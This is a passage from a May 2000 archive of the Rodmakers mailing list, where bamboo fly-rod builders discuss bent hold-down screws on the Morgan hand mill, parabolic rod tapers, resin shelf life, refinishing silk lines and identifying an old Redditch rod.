here.J. Snider At 10:58 AM 05/16/2000 -0500, Lamberson, William R. wrote:I have had the experience of bending the screws a couple of times. I havebuilt about 20 rods on the Mill, so it isn't a big problem. I have only hadthe problem with screws for tip strips which is logical because they aresmaller. Also, the pan headed screws for the butt strips have supportfromthe head so are not only less likely to bend because of support from thehead, but the strip is also less likely to split. It would be useful tohave that type of screw for both butts and tips. To correct the problem Isuggest that you use a utility knife to remove pith to make the stripthinner above the hole for the hold-down screw. It doesn't need to beverythick, 3/16 or even 1/8 of an inch is probably enough. With the sectionthinner, less of the hold down screw is extended above the anvil andthereis less sideways force on it. You might also investigate getting a drillbit that is a bit smaller. Any play of the screw in the hole will increasethe problem. I think if you check the numbered bits you will be able tofind one that is a bit smaller, yet will still drill a hole large enough topermit the screw to go through. Bill Lamberson -----Original Message----- Sent: Tuesday, May 16, 2000 10:23 AM rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would like tohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the strip iplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Sent: Tuesday, May 16, 2000 5:18 AM Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from mcdowellc@lanecc.edu Tue May 16 13:02:44 2000 11:15:54 PDT Subject: Re: Thin vs. Thick finish Hi Hank, You're right, and that definition sounds good to me. I was mostly being facetious with my statement, suggesting that adding extra varnish weightin the tip would move more of the action to the lower portion of the rod. Maybe a slow parabolic rod? Wouldn't work for me anyway, I like fasterrods Chris---------- Original Text ---------- Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tip with a short line and slower as the line lengthens? Adding varnish to the tipwould slow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from briansr@point-net.com Tue May 16 13:13:11 2000 Subject: Re Hand Mill ? I have no intentions of buying this excellent product.Tom Morgan reallyseems to have produced something exceptional. Too much $$$$$$ in Cdnfunds:- ((((That being said I've really enjoyed the posts.Keep em coming !Cheers Brian from nobler@satx.rr.com Tue May 16 17:28:37 2000 SMTPSVC(5.5.1877.357.35);Tue, 16 May 2000 17:29:40 -0500 Subject: Re: Thin vs. Thick finish All of my PHY's are basic parabolics, to the master's idea. They all bendinto the grip, regardless of load. At least mine do. When I think of a fasttip rod, the swelled butt Heddon's come to mind. GMA----- Original Message ----- Subject: Re: Thin vs. Thick finish Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tip with ashort line and slower as the line lengthens? Adding varnish to the tipwouldslow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from nobler@satx.rr.com Tue May 16 17:35:30 2000 SMTPSVC(5.5.1877.357.35);Tue, 16 May 2000 17:36:36 -0500 , , Subject: Re: Handmill Question (anvil screws) What is the thread size ? GMA----- Original Message ----- ; Subject: RE: Handmill Question (anvil screws) Guys. I simply ordered several HUNDRED!! screws of the two differentsizes from Small Parts, Inc. for just a few bucks. Now that I have them, Ihaven't bent another screw! For me, I believe that I was having troublewith bending screws because I was trying to plane too close to thescrew,and as the instruction book says this is an area where it is difficult toget good leverage for milling, so one usually makes several passes inthisregion. I now simply extend the strip a couple of inches and simply don'tworry about the distance right in front of the hold down screw. Ofcourse,I make mostly short rods and length isn't a problem here.J. Snider At 10:58 AM 05/16/2000 -0500, Lamberson, William R. wrote:I have had the experience of bending the screws a couple of times. Ihavebuilt about 20 rods on the Mill, so it isn't a big problem. I have onlyhadthe problem with screws for tip strips which is logical because theyaresmaller. Also, the pan headed screws for the butt strips have supportfromthe head so are not only less likely to bend because of support from thehead, but the strip is also less likely to split. It would be useful tohave that type of screw for both butts and tips. To correct the problemIsuggest that you use a utility knife to remove pith to make the stripthinner above the hole for the hold-down screw. It doesn't need to beverythick, 3/16 or even 1/8 of an inch is probably enough. With the sectionthinner, less of the hold down screw is extended above the anvil andthereis less sideways force on it. You might also investigate getting a drillbit that is a bit smaller. Any play of the screw in the hole willincreasethe problem. I think if you check the numbered bits you will be able tofind one that is a bit smaller, yet will still drill a hole large enoughtopermit the screw to go through. Bill Lamberson -----Original Message----- Sent: Tuesday, May 16, 2000 10:23 AM rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would liketohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the stripiplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Sent: Tuesday, May 16, 2000 5:18 AM Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwouldsound as if I am attempting to take to much bamboo at a time but I findthatover a period of planing "gently" I still find some bend in the screw.Anyone else have this experience?Doug from mcdowellc@lanecc.edu Tue May 16 17:51:55 2000 16:05:07 PDT Subject: CR-585 Resin The CR-585 resin has a recommended shelf life of 4 months frommanufacture if stored at 70 degrees according to the Golden Witch site. Do those of you that use this adhesive agree with this shelf life, and does storage at a lower temperature, say 50-55 degrees prolong the shelf life? Chrismcdowellc@lanecc.edu from sniderja@email.uc.edu Tue May 16 18:32:09 2000 ,, Subject: Re: Handmill Question (anvil screws) #2-56 x 3/4" and #4-40 x 3/4" stainless steel.J. Snider At 05:38 PM 05/16/2000 -0500, nobler wrote:What is the thread size ? GMA----- Original Message -----From: "Jerry Snider" ; Sent: Tuesday, May 16, 2000 11:49 AMSubject: RE: Handmill Question (anvil screws) Guys. I simply ordered several HUNDRED!! screws of the two differentsizes from Small Parts, Inc. for just a few bucks. Now that I have them, Ihaven't bent another screw! For me, I believe that I was having troublewith bending screws because I was trying to plane too close to thescrew,and as the instruction book says this is an area where it is difficult toget good leverage for milling, so one usually makes several passes inthisregion. I now simply extend the strip a couple of inches and simplydon'tworry about the distance right in front of the hold down screw. Ofcourse,I make mostly short rods and length isn't a problem here.J. Snider At 10:58 AM 05/16/2000 -0500, Lamberson, William R. wrote:I have had the experience of bending the screws a couple of times. Ihavebuilt about 20 rods on the Mill, so it isn't a big problem. I have onlyhadthe problem with screws for tip strips which is logical because theyaresmaller. Also, the pan headed screws for the butt strips have supportfromthe head so are not only less likely to bend because of support from thehead, but the strip is also less likely to split. It would be useful tohave that type of screw for both butts and tips. To correct theproblemIsuggest that you use a utility knife to remove pith to make the stripthinner above the hole for the hold-down screw. It doesn't need to beverythick, 3/16 or even 1/8 of an inch is probably enough. With the sectionthinner, less of the hold down screw is extended above the anvil andthereis less sideways force on it. You might also investigate getting a drillbit that is a bit smaller. Any play of the screw in the hole willincreasethe problem. I think if you check the numbered bits you will be able tofind one that is a bit smaller, yet will still drill a hole large enoughtopermit the screw to go through. Bill Lamberson -----Original Message----- Sent: Tuesday, May 16, 2000 10:23 AM rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would liketohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the stripiplace, or the screws that hold the anvil in place? Once they bend doyouneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Sent: Tuesday, May 16, 2000 5:18 AM Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwouldsound as if I am attempting to take to much bamboo at a time but Ifindthatover a period of planing "gently" I still find some bend in the screw.Anyone else have this experience?Doug from LECLAIR123@aol.com Tue May 16 18:59:16 2000 Subject: Re: Refurbished Website Thomas,You have done a great job on your web page. I wasvery impressed. Keep up the good work. Dave LeClair http://hometown.aol.com/leclair123/index.html from teekay35@interlynx.net Tue May 16 19:01:49 2000 Subject: Re: CR-585 Resin According to the Canadian tech rep the Casco Resin that I'm using will last3 months at 70 degrees, 6 at 60, 12 at 50, and 24 at 40 degrees, ie, theshelf life doubles every time the temperature drops 10 degrees. When theresin gets lumpy throw it away. ----------From: CHRISTOPHER C MCDOWELL Subject: CR-585 ResinDate: Tuesday, May 16, 2000 7:05 PM The CR-585 resin has a recommended shelf life of 4 months frommanufacture if stored at 70 degrees according to the Golden Witch site. Do those of you that use this adhesive agree with this shelf life, and does storage at a lower temperature, say 50-55 degrees prolong the shelf life? Chrismcdowellc@lanecc.edu from ChristopherO@epicrad.com Tue May 16 19:31:52 2000 mcdowellc@lanecc.edu, RODMAKERS@wugate.wustl.eduSubject: RE: Thin vs. Thick finish per brandin discussed parabolic tapers at the recent corbett lakegathering,agreeing with many others on the way parabolic tapers work. basically,thetaper is designed to allow the entire length of the rod to bend during thecast, allowing the elasticity of ALL ROD FIBERS to cast the line. thisresults in the most powerful type of rod (more bang for your buck), but canbe difficult for some folks to cast. timing must be VERY GOOD becausethereis basically a short elastic recoil throwing th loop, not a progressivetransfer of power up the rod length (ie. a progressive taper of the garrisondesign) nor the "tip only" recoil of the "fast", "dry fly" or "tip action"type taper (these are significantly less powerful, but are easier to controlregarding casting accuracy). most people who experience difficulty withtheparas throw tailing loops. it's true that parabolics would bend less deeply into the grip with a shortline, but the pendulum effect of the rod front-half weight precludescallingthe taper ever really fast in the tip (mike maxwell, in his spey castingbook, discusses this aspect of traditional bamboo and solid wood europeanspey rods). just some thoughts. -----Original Message----- RODMAKERS@wugate.wustl.eduSubject: Re: Thin vs. Thick finish All of my PHY's are basic parabolics, to the master's idea. They all bendinto the grip, regardless of load. At least mine do. When I think of a fasttip rod, the swelled butt Heddon's come to mind. GMA----- Original Message ----- Subject: Re: Thin vs. Thick finish Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tip with ashort line and slower as the line lengthens? Adding varnish to the tipwouldslow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from caneman@clnk.com Tue May 16 19:47:42 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Tue, 16 May 2000 19:43:30 -0500 ,, Subject: Parabolics Was: Thin vs. Thick finish Doc,You're absolutely right... the paras can never really be considered"fast" in comparason with progressive tapers. 90% of the rods I build arewhat you could consider parabolic... or at least a "modified" parabolicaction. They can be difficult to cast in that when one first starts castingpara's you have to learn to wait for the rod to load up on the foreward andback casts to exploit all the power the rod has. Bob-----Original Message----- ; mcdowellc@lanecc.edu ;RODMAKERS@wugate.wustl.edu Subject: RE: Thin vs. Thick finish per brandin discussed parabolic tapers at the recent corbett lakegathering,agreeing with many others on the way parabolic tapers work. basically,thetaper is designed to allow the entire length of the rod to bend during thecast, allowing the elasticity of ALL ROD FIBERS to cast the line. thisresults in the most powerful type of rod (more bang for your buck), butcanbe difficult for some folks to cast. timing must be VERY GOOD becausethereis basically a short elastic recoil throwing th loop, not a progressivetransfer of power up the rod length (ie. a progressive taper of thegarrisondesign) nor the "tip only" recoil of the "fast", "dry fly" or "tip action"type taper (these are significantly less powerful, but are easier tocontrolregarding casting accuracy). most people who experience difficulty withtheparas throw tailing loops. it's true that parabolics would bend less deeply into the grip with a shortline, but the pendulum effect of the rod front-half weight precludescallingthe taper ever really fast in the tip (mike maxwell, in his spey castingbook, discusses this aspect of traditional bamboo and solid woodeuropeanspey rods). just some thoughts. -----Original Message----- Sent: Tuesday, May 16, 2000 3:32 PM RODMAKERS@wugate.wustl.eduSubject: Re: Thin vs. Thick finish All of my PHY's are basic parabolics, to the master's idea. They all bendinto the grip, regardless of load. At least mine do. When I think of a fasttip rod, the swelled butt Heddon's come to mind. GMA----- Original Message -----From: Sent: Tuesday, May 16, 2000 11:45 AMSubject: Re: Thin vs. Thick finish Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tip with ashort line and slower as the line lengthens? Adding varnish to the tipwouldslow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from nobler@satx.rr.com Tue May 16 20:06:00 2000 SMTPSVC(5.5.1877.357.35);Tue, 16 May 2000 20:04:20 -0500 , , Subject: Re: Parabolics Was: Thin vs. Thick finish That's exactly it ! I didn't have to learn to cast with a parabolic, as Ireally started with a PHY. You learn in a hurry when bass bugging, to wait,or you get that big bug in your ear ! Still I can't imagine a rod dropping adry anymore daintily than a Midge, even at short distances. GMA----- Original Message ----- ;; Subject: Parabolics Was: Thin vs. Thick finish Doc,You're absolutely right... the paras can never really be considered"fast" in comparason with progressive tapers. 90% of the rods I buildarewhat you could consider parabolic... or at least a "modified" parabolicaction. They can be difficult to cast in that when one first startscastingpara's you have to learn to wait for the rod to load up on the forewardandback casts to exploit all the power the rod has. Bob-----Original Message-----From: Christopher A. Obuchowski, MD ; mcdowellc@lanecc.edu ;RODMAKERS@wugate.wustl.edu Date: Tuesday, May 16, 2000 7:28 PMSubject: RE: Thin vs. Thick finish per brandin discussed parabolic tapers at the recent corbett lakegathering,agreeing with many others on the way parabolic tapers work. basically,thetaper is designed to allow the entire length of the rod to bend duringthecast, allowing the elasticity of ALL ROD FIBERS to cast the line. thisresults in the most powerful type of rod (more bang for your buck), butcanbe difficult for some folks to cast. timing must be VERY GOOD becausethereis basically a short elastic recoil throwing th loop, not a progressivetransfer of power up the rod length (ie. a progressive taper of thegarrisondesign) nor the "tip only" recoil of the "fast", "dry fly" or "tipaction"type taper (these are significantly less powerful, but are easier tocontrolregarding casting accuracy). most people who experience difficultywiththeparas throw tailing loops. it's true that parabolics would bend less deeply into the grip with ashortline, but the pendulum effect of the rod front-half weight precludescallingthe taper ever really fast in the tip (mike maxwell, in his spey castingbook, discusses this aspect of traditional bamboo and solid woodeuropeanspey rods). just some thoughts. -----Original Message----- Sent: Tuesday, May 16, 2000 3:32 PM RODMAKERS@wugate.wustl.eduSubject: Re: Thin vs. Thick finish All of my PHY's are basic parabolics, to the master's idea. They all bendinto the grip, regardless of load. At least mine do. When I think of afasttip rod, the swelled butt Heddon's come to mind. GMA----- Original Message -----From: Sent: Tuesday, May 16, 2000 11:45 AMSubject: Re: Thin vs. Thick finish Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tip withashort line and slower as the line lengthens? Adding varnish to the tipwouldslow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from FISHWOOL@aol.com Tue May 16 20:08:20 2000 Subject: Re: Handmill Question (anvil screws) I've had the same "problem", but, like Darryl, I don't consider it a problem of any great moment. Just straighten the screw out and make sure itstight and get on with it. BTW, thinning the strip to cut down the moment offorce applied to the strip will not work as the force is applied at the point of contact of the strip with the anvil (assuming the screw is tight). It also might let the strip tear out.Regards,Hank. from caneman@clnk.com Tue May 16 20:31:18 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Tue, 16 May 2000 20:27:03 -0500 Subject: Re: Parabolics Was: Thin vs. Thick finish Delicate casts aren't a problem even with my short 2 wt parabolics, but Iwon't even try to argue that I can be as accurate as a very fast "dry fly"action rod. Accurate enough, sure, I mean I catch a lot of fish, when Ihave a chance to go, and have no problem sight casting short or long to afish, but I use the paras, for one reason above all else. If I am fishingclose and have a fish rise 30 feet farther out, it's a lot easier to shoot apara out to him than it is to shoot a dry fly action out there... My opinionand my casting style only... Bob-----Original Message----- ; FISHWOOL@aol.com ;mcdowellc@lanecc.edu ;RODMAKERS@wugate.wustl.edu Subject: Re: Parabolics Was: Thin vs. Thick finish That's exactly it ! I didn't have to learn to cast with a parabolic, as Ireally started with a PHY. You learn in a hurry when bass bugging, towait,or you get that big bug in your ear ! Still I can't imagine a rod droppingadry anymore daintily than a Midge, even at short distances. GMA----- Original Message -----From: "Bob Nunley" ;; Sent: Tuesday, May 16, 2000 7:45 PMSubject: Parabolics Was: Thin vs. Thick finish Doc,You're absolutely right... the paras can never really be considered"fast" in comparason with progressive tapers. 90% of the rods I buildarewhat you could consider parabolic... or at least a "modified" parabolicaction. They can be difficult to cast in that when one first startscastingpara's you have to learn to wait for the rod to load up on the forewardandback casts to exploit all the power the rod has. Bob-----Original Message-----From: Christopher A. Obuchowski, MD ; mcdowellc@lanecc.edu ;RODMAKERS@wugate.wustl.edu Date: Tuesday, May 16, 2000 7:28 PMSubject: RE: Thin vs. Thick finish per brandin discussed parabolic tapers at the recent corbett lakegathering,agreeing with many others on the way parabolic tapers work. basically,thetaper is designed to allow the entire length of the rod to bend duringthecast, allowing the elasticity of ALL ROD FIBERS to cast the line. thisresults in the most powerful type of rod (more bang for your buck), butcanbe difficult for some folks to cast. timing must be VERY GOOD becausethereis basically a short elastic recoil throwing th loop, not a progressivetransfer of power up the rod length (ie. a progressive taper of thegarrisondesign) nor the "tip only" recoil of the "fast", "dry fly" or "tipaction"type taper (these are significantly less powerful, but are easier tocontrolregarding casting accuracy). most people who experience difficultywiththeparas throw tailing loops. it's true that parabolics would bend less deeply into the grip with ashortline, but the pendulum effect of the rod front-half weight precludescallingthe taper ever really fast in the tip (mike maxwell, in his spey castingbook, discusses this aspect of traditional bamboo and solid woodeuropeanspey rods). just some thoughts. -----Original Message----- Sent: Tuesday, May 16, 2000 3:32 PM RODMAKERS@wugate.wustl.eduSubject: Re: Thin vs. Thick finish All of my PHY's are basic parabolics, to the master's idea. They allbendinto the grip, regardless of load. At least mine do. When I think of afasttip rod, the swelled butt Heddon's come to mind. GMA----- Original Message -----From: Sent: Tuesday, May 16, 2000 11:45 AMSubject: Re: Thin vs. Thick finish Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tipwithashort line and slower as the line lengthens? Adding varnish to the tipwouldslow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from rcurry@ttlc.net Tue May 16 20:33:38 2000 (SMTPD32-6.00) id A804262C00E4; Tue, 16 May 2000 21:38:12 -0400 Larry Blan Subject: Re: Silkline Danny,Let's ask Larry Blan how he did with the enamelled line that hestripped and re-finished. Larry, what was the result like?Best regards,Reed Danny Twang wrote: Reed, A few question about silk line. How can I find out if my old silk line is oiled or "enameled"? As I'vetold You before, I found thisline on a old reel, and it was very sticky, the color was green, and itappear like "new".After I rubbed it between my finger, I managed to get it slick andsmooth. I measured it to be aHEH line, perfect for my rod's based on PHY tapers. But when I read Your article, I began to think of when I was making theloop.I "stripped" the coating and it was on the "top" of the braided silk,not "in" it. It felt almost likestripping PVC line. Under the "coating" the silk was dry.If it is a "enameled" silk lines, will it be possible to strip it, andtreat it with oil/varnish? Best regardsdanny from rcurry@ttlc.net Tue May 16 20:37:58 2000 (SMTPD32-6.00) id A90B3EDA010C; Tue, 16 May 2000 21:42:35 -0400 "rodmakers@wugate.wustl.edu" Subject: Re: Silkline Danny,All the enamelled lines I have had, seemed to have a very fine, almosthollow, loose braid. An oiled silk line is made with either a tight orloose braid, but the braid is usually a lot coarser abd the line seemsstiffer and never appears hollow. This would certain affect the castingaction.Best regards,Reed Danny Twang wrote: Reed, A few question about silk line. How can I find out if my old silk line is oiled or "enameled"? As I'vetold You before, I found thisline on a old reel, and it was very sticky, the color was green, and itappear like "new".After I rubbed it between my finger, I managed to get it slick andsmooth. I measured it to be aHEH line, perfect for my rod's based on PHY tapers. But when I read Your article, I began to think of when I was making theloop.I "stripped" the coating and it was on the "top" of the braided silk,not "in" it. It felt almost likestripping PVC line. Under the "coating" the silk was dry.If it is a "enameled" silk lines, will it be possible to strip it, andtreat it with oil/varnish? Best regardsdanny from nobler@satx.rr.com Tue May 16 20:45:07 2000 SMTPSVC(5.5.1877.357.35);Tue, 16 May 2000 20:45:29 -0500 Subject: Re: Handmill Question (anvil screws) My Morgan Mill just came about an hour ago, so I've had no chance to domorethan unpack the parts boxes. I almost got a hernia picking up that big, longsucker, which I must assume is the bed. While the dial indicator is made in China, it's certainly not of cheapquality, as the action is very smooth. The machine work is mostimpressive,on the main body and the cutter heads in particular. GMA----- Original Message ----- Subject: Re: Handmill Question (anvil screws) I've had the same "problem", but, like Darryl, I don't consider it aproblemof any great moment. Just straighten the screw out and make sure itstightand get on with it. BTW, thinning the strip to cut down the moment offorceapplied to the strip will not work as the force is applied at the point ofcontact of the strip with the anvil (assuming the screw is tight). It alsomight let the strip tear out.Regards,Hank. from lblan@provide.net Tue May 16 21:09:50 2000 Subject: RE: Silkline Reed; as we discussed, the old finish "dissolved" with no problem in the solvent. I used Formby's, and the two-bag method to refinish it. The line took the finish very well, almost to the point where I think it is a bit stiff. I have it on a reel, but the rod I thought would cast it is a bit stiff. I do want to look at a few silk's at Grayrock, to have a point of comparison, but I see no reason why it won't work. The braid on this line is very tight, I never had the feeling that I was handling a "hollow" line - there was no tendency even without the finish for the braid to open or spread. Larry -----Original Message----- Sent: Tuesday, May 16, 2000 9:38 PM Cc: rodmakers@wugate.wustl.eduSubject: Re: Silkline Danny,Let's ask Larry Blan how he did with the enamelled line that hestripped and re-finished. Larry, what was the result like?Best regards,Reed from FISHWOOL@aol.com Tue May 16 21:41:48 2000 Subject: Re: Parabolics Was: Thin vs. Thick finish mcdowellc@lanecc.edu, RODMAKERS@wugate.wustl.edu O.K.-My experience with paras is limited to the Payne 102 and a 7 1/2' fora 5 that was blacksmithed from a PHY 15. I must admit that the first 102 I built I didn't like at first 'til I learned to cast it. Now I think its great.Now, while neither rod could be called "fast" they are faster with a short line than with a long line of the same weight.Incidentally, more of the paras have sold from here than the straight line tapers. Maybe my customers are more sophisticated than I think?Naww :-).Regards,Hank. from cadams46@juno.com Tue May 16 22:29:07 2000 23:27:46 EDT Subject: Mogan Hand Mill With all this recent talk of the Mill I realized I don't know much ofanything about this machine. Anyone know where I could get a catalog orvisit a web site? No moral delima or structural sacrifice with using amachine like this in fly rod making? Thanks in advance, I've found allthis talk about the mill intersting.C.R. Adams from wiroway@home.com Tue May 16 23:56:08 2000 (InterMail vM.4.01.02.00 201-229-116) with SMTP 0700 Subject: Rod ID boundary="----=_NextPart_000_004B_01BFBF9A.9E768720" This is a multi-part message in MIME format. ------=_NextPart_000_004B_01BFBF9A.9E768720 My name is Winston. I was wondering if you could help me with some =information. I've looked all over the web. Auction sites and collectors =pages, and no luck. I was given Two Rod sets by my mother in-law which =are a Redditch Brand( England). They were given to her at least 25 years =ago and are probaly a little older. They have never been used. They are =stamped Geo. Wilkins & Sons Ltd. Redditch. There are four pieces to each =rod. The bottom section is about 43.5 inches, the middle section is 43.5 =inches, and the 2 top sections measure 42 inches. I've been told that it =is probaly not bamboo. All sections are round. The wood is a little dark =and the pole is covered in a clear shellac type coating. The gold and =green lines are threads that are under the coating. The wood grain is =very visible. I've scanned a few pictures and posted them on the web. =Just trying to get a little history. Thanks for any information you can =give. Thanks Winston Waymer Virginia, U.S. Sorry about the file size, the pages load slow http://members.home.net/wiroway/index/Fish.jpg =http://members.home.net/wiroway/index/FS2.jpghttp://members.home.net/wiroway/index/FS3.jpg ------=_NextPart_000_004B_01BFBF9A.9E768720 My name is Winston. I was wonderingif = help me with some information. I've looked all over the web. Auction = collectors pages, and no luck. I was given Two Rod sets by my mother = which are a Redditch Brand( England). They were given to her at least 25 = ago and are probaly a little older. They have never been used. They are = Geo. Wilkins & Sons Ltd. Redditch. There are four pieces to each = bottom section is about 43.5 inches, the middle section is 43.5 inches, = 2 top sections measure 42 inches. I've been told that it is probaly not = All sections are round. The wood is a little dark and the pole is = clear shellac type coating. The gold and green lines are threads that = the coating. The wood grain is very visible. I've scanned a few pictures = posted them on the web. Just trying to get a little history. Thanks for = information you can give. Thanks Winston Waymer Virginia, U.S.I can = Pics posted here: http://members.ho= http://members.hom=e.net/wiroway/index/FS2.jpghttp://members.hom=e.net/wiroway/index/FS3.jpg ------=_NextPart_000_004B_01BFBF9A.9E768720-- from stpete@netten.net Wed May 17 00:33:48 2000 0500 Subject: Handmill Survey Results: Day 1 So far there are 13 respondants to the Handmill ownership survey. Ialso feel I should include 2 apparent owners who have responded toquestions on the list but not to my survey (they may not have beenonline today, or else they just didn't care to respond, but I am 100%confident that they have a mill). That brings the total first dayresults to 15 owners! Frankly, that is much higher than I expected. ButI guess I should not be surprised because, really, for what you get itis quite a reasonably priced machine. 3 respondants, indicated that they just recently took possession of themill (two as recent as yesterday!) and one was expecting their mill anyday. More than one mentioned that they are new to rodmaking, and one isjust working on his first rod ever. The experienced rodmakerrespondants with whom I am familiar and of whom I have confidence intheir judgement, all say to a man that it is a wonderful machine. Now I must face the fact that although I don't really NEED this machine,I now WANT one. Apparently there is a waiting list and a backlog ofseveral months. That backlog may prove to save my marriage. If any other interesting info comes in, I'll update the list. Rick C. from mikeg@micronet.net Wed May 17 00:47:08 2000 (EudoraInternet Mail Server 2.2.2); Tue, 16 May 2000 21:47:04 -0800 Subject: Morgan Hand Mill http://www.troutrods.com/handmill.html from rcurry@ttlc.net Wed May 17 04:55:41 2000 (SMTPD32-6.00) id ADB68EEB0080; Wed, 17 May 2000 06:00:22 -0400 Subject: Re: Silkline Larry,So far, so good.Olaf will probably have some Phoenix lines for you to try out atGrayling.Best regards,Reed Larry Blan wrote: Reed; as we discussed, the old finish "dissolved" with no problemin the solvent. I used Formby's, and the two-bag method torefinish it. The line took the finish very well, almost to thepoint where I think it is a bit stiff. I have it on a reel, butthe rod I thought would cast it is a bit stiff. I do want to lookat a few silk's at Grayrock, to have a point of comparison, but Isee no reason why it won't work. The braid on this line is verytight, I never had the feeling that I was handling a "hollow"line - there was no tendency even without the finish for thebraid to open or spread. Larry -----Original Message----- Sent: Tuesday, May 16, 2000 9:38 PM Cc: rodmakers@wugate.wustl.eduSubject: Re: Silkline Danny,Let's ask Larry Blan how he did with the enamelled line that hestripped and re-finished. Larry, what was the result like?Best regards,Reed from mrmac@tcimet.net Wed May 17 06:51:47 2000 Subject: Old style ferrules Good morning, list - I'm getting started on the restoration of an old Shakespeare/Heddon rodand the ferrules are either broken or have been partially replaced withnew stuff. The original ferrules are N/S, and are the type with a shortshoulder on the female which then necks down to a smaller diameter. Ilooked at some pictures of the "Super Step Down" ferrules, but they seemonly to neck down the male ferrule and not the female. Did I see itright in the pictures? I'd like to try to keep the rod as close tooriginal as I can, so I'm looking for a source for a 16/64 F/M for thebutt, and an 11/64 F/2M set in N/S (hopefully) for the tips. Anyone gotan idea who might carry these old style ferrules? TIA, appreciate the help. Best regards to all, mac from nobler@satx.rr.com Wed May 17 07:24:09 2000 SMTPSVC(5.5.1877.357.35);Wed, 17 May 2000 07:25:13 -0500 Subject: Re: Mogan Hand Mill Morgan has a web site you can reach via the Rodmakers home page. He hasanice brochure, but it only scratches the surface of the quality you aregetting. GMA----- Original Message ----- Subject: Mogan Hand Mill With all this recent talk of the Mill I realized I don't know much ofanything about this machine. Anyone know where I could get a catalog orvisit a web site? No moral delima or structural sacrifice with using amachine like this in fly rod making? Thanks in advance, I've found allthis talk about the mill intersting.C.R. Adams from nobler@satx.rr.com Wed May 17 07:31:21 2000 SMTPSVC(5.5.1877.357.35);Wed, 17 May 2000 07:32:29 -0500 Subject: Re: Rod ID It appears to be a hex shape in the shot with the butt/grip section. Seemsto be cane to me. GMA----- Original Message ----- Subject: Rod ID My name is Winston. I was wondering if you could help me with someinformation. I've looked all over the web. Auction sites and collectorspages, and no luck. I was given Two Rod sets by my mother in-law whichare aRedditch Brand( England). They were given to her at least 25 years ago andare probaly a little older. They have never been used. They are stampedGeo.Wilkins & Sons Ltd. Redditch. There are four pieces to each rod. The bottomsection is about 43.5 inches, the middle section is 43.5 inches, and the 2top sections measure 42 inches. I've been told that it is probaly notbamboo. All sections are round. The wood is a little dark and the pole iscovered in a clear shellac type coating. The gold and green lines arethreads that are under the coating. The wood grain is very visible. I'vescanned a few pictures and posted them on the web. Just trying to get alittle history. Thanks for any information you can give. Thanks WinstonWaymer Virginia, U.S.I can be contacted at wiroway@home.comSorry about the file size, the pages load slow Pics posted here:http://members.home.net/wiroway/index/Fish.jpghttp://members.home.net/wiroway/index/FS2.jpghttp://members.home.net/wiroway/index/FS3.jpg from DNHayashida@aol.com Wed May 17 09:21:48 2000 Subject: Re: Handmill Survey Results: Day 1 You were correct in assuming since I write about themill so much I figured you knew I had one. I had towait 6 months for mine. Last time I heard there were40 mill owners (heard it from a friend who talked toTom), that was last year around October. The guys who bought one without ever making a rod beforeare a lot braver than I am, or a lot richer. It was aleap of faith for me to buy a planing form and planes,and that was only $400 total. I can't imagine being thatconfident in my ability to spend that much, but the millwill give them the abilty to make a good first rod. One thing I do miss though, is the feel and sound of atruly sharp plane blade whispering through a strip ofbamboo. I have kept my planing form just in case I wantto hand plane a rod again.Darryl from sniderja@email.uc.edu Wed May 17 09:35:44 2000 Subject: Re: Handmill Survey Results: Day 1 You might wish to add ca. 14+ to that number. I believe that Tom said thathe made 7 sets at a time, so including the batch with my purchase and themost recent batch, the number likely has climbed to near 60 or so.J. Snider At 10:21 AM 05/17/2000 -0400, DNHayashida@aol.com wrote: You were correct in assuming since I write about themill so much I figured you knew I had one. I had towait 6 months for mine. Last time I heard there were40 mill owners (heard it from a friend who talked toTom), that was last year around October. The guys who bought one without ever making a rod beforeare a lot braver than I am, or a lot richer. It was aleap of faith for me to buy a planing form and planes,and that was only $400 total. I can't imagine being thatconfident in my ability to spend that much, but the millwill give them the abilty to make a good first rod. One thing I do miss though, is the feel and sound of atruly sharp plane blade whispering through a strip ofbamboo. I have kept my planing form just in case I wantto hand plane a rod again.Darryl also feel I should include 2 apparent owners who have responded toquestions on the list but not to my survey (they may not have beenonline today, or else they just didn't care to respond, but I am 100%confident that they have a mill). That brings the total first dayresults to 15 owners! Frankly, that is much higher than I expected. ButI guess I should not be surprised because, really, for what you get itis quite a reasonably priced machine. 3 respondants, indicated that they just recently took possession of themill (two as recent as yesterday!) and one was expecting their mill anyday. More than one mentioned that 